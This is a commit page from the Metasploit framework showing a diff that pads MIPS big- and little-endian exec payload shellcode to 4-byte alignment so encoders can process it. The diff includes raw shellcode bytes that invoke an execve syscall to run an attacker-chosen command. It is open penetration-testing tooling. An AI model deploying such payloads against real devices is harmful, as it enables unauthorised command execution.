Skip to content

Commit 827feae

Browse files
committed
Land rapid7#3320, @m-1-k-3's mips exec payload fixes to allow encoding.
2 parents 6b154b3 + 1111601 commit 827feae

File tree

2 files changed

+15
-3
lines changed

2 files changed

+15
-3
lines changed

modules/payloads/singles/linux/mipsbe/exec.rb

Lines changed: 7 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -66,7 +66,13 @@ def generate
6666
#
6767
# Constructs the payload
6868
#
69-
return super + shellcode + command_string + "\x00"
69+
70+
shellcode = shellcode + command_string + "\x00"
71+
72+
# we need to align our shellcode to 4 bytes
73+
(shellcode = shellcode + "\x00") while shellcode.length%4 != 0
74+
75+
return super + shellcode
7076

7177
end
7278

modules/payloads/singles/linux/mipsle/exec.rb

Lines changed: 8 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -62,12 +62,18 @@ def generate
6262
"\xec\xff\xa0\xaf" + # sw zero,-20(sp)
6363
"\xe8\xff\xa5\x27" + # addiu a1,sp,-24
6464
"\xab\x0f\x02\x24" + # li v0,4011
65-
"\x0c\x01\x01\x01" # + syscall 0x40404
65+
"\x0c\x01\x01\x01" # syscall 0x40404
6666

6767
#
6868
# Constructs the payload
6969
#
70-
return super + shellcode + command_string + "\x00"
70+
71+
shellcode = shellcode + command_string + "\x00"
72+
73+
# we need to align our shellcode to 4 bytes
74+
(shellcode = shellcode + "\x00") while shellcode.length%4 != 0
75+
76+
return super + shellcode
7177

7278
end
7379

0 commit comments

Comments
 (0)